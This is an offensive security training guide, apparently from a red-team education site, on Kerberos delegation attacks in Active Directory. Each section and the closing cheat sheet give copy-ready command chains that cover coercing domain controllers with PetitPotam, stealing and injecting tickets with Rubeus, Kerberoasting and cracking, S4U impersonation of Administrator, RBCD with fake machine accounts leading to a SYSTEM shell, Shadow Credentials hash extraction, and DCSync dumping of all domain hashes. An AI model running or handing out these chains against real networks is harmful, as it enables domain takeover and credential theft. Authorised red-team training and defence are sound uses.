



◆ OFFENSIVE SECURITY SERIES ◆

KERBEROS DELEGATION ATTACKS

Unconstrained, Constrained & RBCD — Full Guide

Unconstrained · Constrained · RBCD · S4U · PetitPotam · Shadow Creds

Unconstrained

Constrained

RBCD

S4U Chain

PetitPotam

PrinterBug

Shadow Creds

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only. All techniques must ONLY be used on systems you own or have explicit written authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

KERBEROS DELEGATION ATTACKS — Unconstrained, Constrained & RBCD — Full Guide

01.	DELEGATION TYPES — THREE ATTACK PATHS EXPLAINED
02.	UNCONSTRAINED DELEGATION — TGT THEFT
03.	CONSTRAINED DELEGATION — S4U CHAIN
04.	RBCD — RESOURCE-BASED CONSTRAINED DELEGATION
05.	SHADOW CREDENTIALS — KEYCREDENTIAL INJECTION
06.	KERBEROS DELEGATION CHEAT SHEET



01 — DELEGATION FUNDAMENTALS

Three Types & Attack Paths

Type	Mechanism	Attack Impact	Requires
Unconstrained	Full TGT forwarded to service	Steal any user TGT incl. DC\$	Compromise the host
Constrained	S4U2Self+S4U2Proxy to specific SPNs	Impersonate DA to services	Service account hash
RBCD	Resource sets who can delegate	Impersonate DA to computer	GenericWrite on computer

DELEGATION DISCOVERY COMMANDS

Unconstrained: Get-DomainComputer -Unconstrained | Where Name -notlike '*DC*'

Constrained: Get-DomainUser -TrustedToAuth | select SamAccountName,msDS-AllowedToDelegateTo

RBCD: BloodHound Cypher: MATCH (u)-[:GenericWrite]->(c:Computer) RETURN u.name,c.name

MAQ: Get-DomainObject 'DC=domain,DC=local' -Properties ms-DS-MachineAccountQuota



02 — UNCONSTRAINED

TGT Theft via Coercion

```
Unconstrained Delegation – TGT Theft via Coercion

# Unconstrained: host caches TGTs of all connecting users
# Monitor for TGTs (on compromised unconstrained host)
Rubeus.exe monitor /interval:5 /filteruser:DC01$
# Coerce DC to authenticate to our host
python3 PetitPotam.py UNCON_HOST_IP DC01.target.local
# Harvest DC$ TGT
# [*] Found new TGT: DC01$@TARGET.LOCAL Base64: doIGXD...
Rubeus.exe ptt /ticket:doIGXD...
# DCSync as DC machine account
python3 secretsdump.py -k -no-pass target.local/DC01$@DC01.target.local
# Coercer – tries all methods
python3 Coercer.py coerce -t DC01 -l UNCON_HOST -u user -p pass -d domain
```

Figure: PetitPotam coerces DC, Rubeus harvests DC\$ TGT — DCSync dumps all hashes



03 — CONSTRAINED DELEGATION

S4U2Self + S4U2Proxy

```

Constrained Delegation – S4U Chain

# Find constrained delegation service account
Get-DomainUser -TrustedToAuth | select SamAccountName,msDS-AllowedToDelegateTo
# svc_iis AllowedToDelegateTo: cifs/FS01.target.local
# Kerberoast svc_iis → crack → get password
python3 GetUserSPNs.py target.local/jdoe:'P@ss!' -request-user svc_iis -dc-ip DC01
hashcat -m 13100 svc_iis.hash rockyou.txt
# getST – full S4U chain
python3 getST.py -spn cifs/FS01.target.local -impersonate Administrator target.local/svc_iis:'Pass!'
export KRB5CCNAME=Administrator.ccache
python3 secretsdump.py -k -no-pass target.local/Administrator@FS01.target.local
# Rubeus S4U
Rubeus.exe s4u /user:svc_iis /rc4:HASH /impersonateuser:Administrator /msdssp:cifs/FS01 /ptt
# /altservice – change ticket service type
Rubeus.exe s4u /user:svc_iis /rc4:HASH /impersonateuser:Administrator /msdssp:http/WEB01 /altservice:cifs /ptt

```

Figure: getST impersonates DA via S4U, Rubeus /altservice changes http→cifs ticket



04 — RBCD

GenericWrite to DA

```
RBCD - GenericWrite to Domain Admin

# RBCD prerequisites: GenericWrite on computer + machine account
# Check MAQ (default=10, any user can create machine accounts!)
Get-DomainObject 'DC=target,DC=local' -Properties ms-DS-MachineAccountQuota
# Step 1: Create fake machine account
python3 addcomputer.py -computer-name 'RTGMACHINE$' -computer-pass 'P@ss123!' -dc-host DC01 target.local/jdoe:'P@
# Step 2: Set RBCD on target (we have GenericWrite on WS01$)
python3 rbcd.py -delegate-from 'RTGMACHINE$' -delegate-to 'WS01$' -action write target.local/jdoe:'P@ss!'
# Step 3: S4U as RTGMACHINE$ → impersonate DA
python3 getST.py -spn cifs/WS01.target.local -impersonate Administrator target.local/RTGMACHINE$:'P@ss123!'
# Step 4: SYSTEM on WS01
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass target.local/Administrator@WS01.target.local
```

Figure: RBCD full chain — fake machine, delegate to WS01, S4U, SYSTEM shell on target



05 — SHADOW CREDENTIALS

KeyCredential Injection

```
Shadow Credentials – KeyCredential Injection

# Shadow Credentials – inject KeyCredential, get TGT without password
# Requires: GenericWrite on target user/computer
python3 pywhisker.py -d target.local -u jdoe -p 'P@ss!' --target victim_user --action add
# [+] Saved: abc123.pfx / password: R@ndPass!
# Get TGT via PKINIT
python3 gettgtpkinit.py -cert-pfx abc123.pfx -pfx-pass R@ndPass! target.local/victim_user victim.ccache
# Get NTLM hash via U2U
export KRB5CCNAME=victim.ccache
python3 getnthash.py -key SESSION_KEY target.local/victim_user
# Windows – Whisker
Whisker.exe add /target:victim_user /domain:target.local /dc:DC01
# Output includes exact Rubeus command to use
```

Figure: pyWhisker adds KeyCredential, PKINIT gets TGT, U2U extracts NTLM hash



06 — DELEGATION CHEAT SHEET

Quick Reference

Find unconstrained	<code>Get-DomainComputer -Unconstrained Where-Object {\$_.Name -notlike '*DC*'}</code>
Find constrained	<code>Get-DomainUser -TrustedToAuth select SamAccountName,msDS-AllowedToDelegateTo</code>
BloodHound unconstrained	Analysis → Find Computers with Unconstrained Delegation
BloodHound RBCD	<code>MATCH (u)-[:GenericWrite]->(c:Computer) RETURN u.name,c.name</code>
Rubeus monitor	<code>Rubeus.exe monitor /interval:5 /filteruser:DC01\$</code>
PetitPotam coerce	<code>python3 PetitPotam.py LISTENER_IP DC01.target.local</code>
PrinterBug coerce	<code>python3 printerbug.py domain/user:pass@DC01 LISTENER</code>
Coercer multi-method	<code>python3 Coercer.py coerce -t DC01 -l LISTENER -u user -p pass -d domain</code>
Inject TGT	<code>Rubeus.exe ptt /ticket:BASE64</code>
DCSync via ticket	<code>export KRB5CCNAME=DC01.ccache && python3 secretsdump.py -k -no-pass domain/DC01\$@DC01</code>
Constrained getST	<code>python3 getST.py -spn cifs/HOST -impersonate Administrator domain/svc:pass</code>
Rubeus S4U	<code>Rubeus.exe s4u /user:svc /rc4:HASH /impersonateuser:Admin /msdsspn:cifs/HOST /ptt</code>
S4U altservice	<code>Rubeus.exe s4u /user:svc /rc4:HASH /impersonateuser:Admin /msdsspn:http/HOST /altservice:cifs /ptt</code>
Check MAQ	<code>Get-DomainObject 'DC=domain,DC=local' -Properties ms-DS-MachineAccountQuota</code>
RBCD addcomputer	<code>python3 addcomputer.py -computer-name RTGMACHINE\$ -computer-pass P@ss domain/user:pass</code>
RBCD set attribute	<code>python3 rbcd.py -delegate-from RTGMACHINE\$ -delegate-to WS01\$ -action write domain/user:pass</code>
RBCD getST	<code>python3 getST.py -spn cifs/WS01 -impersonate Administrator domain/RTGMACHINE\$:P@ss</code>
Shadow creds	<code>python3 pywhisker.py -d domain -u user -p pass --target victim --action add</code>
Shadow TGT	<code>python3 gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass pass domain/victim victim.ccache</code>
Bronze Bit	<code>python3 getST.py -spn cifs/HOST -impersonate Admin -force-forwardable domain/svc:pass</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.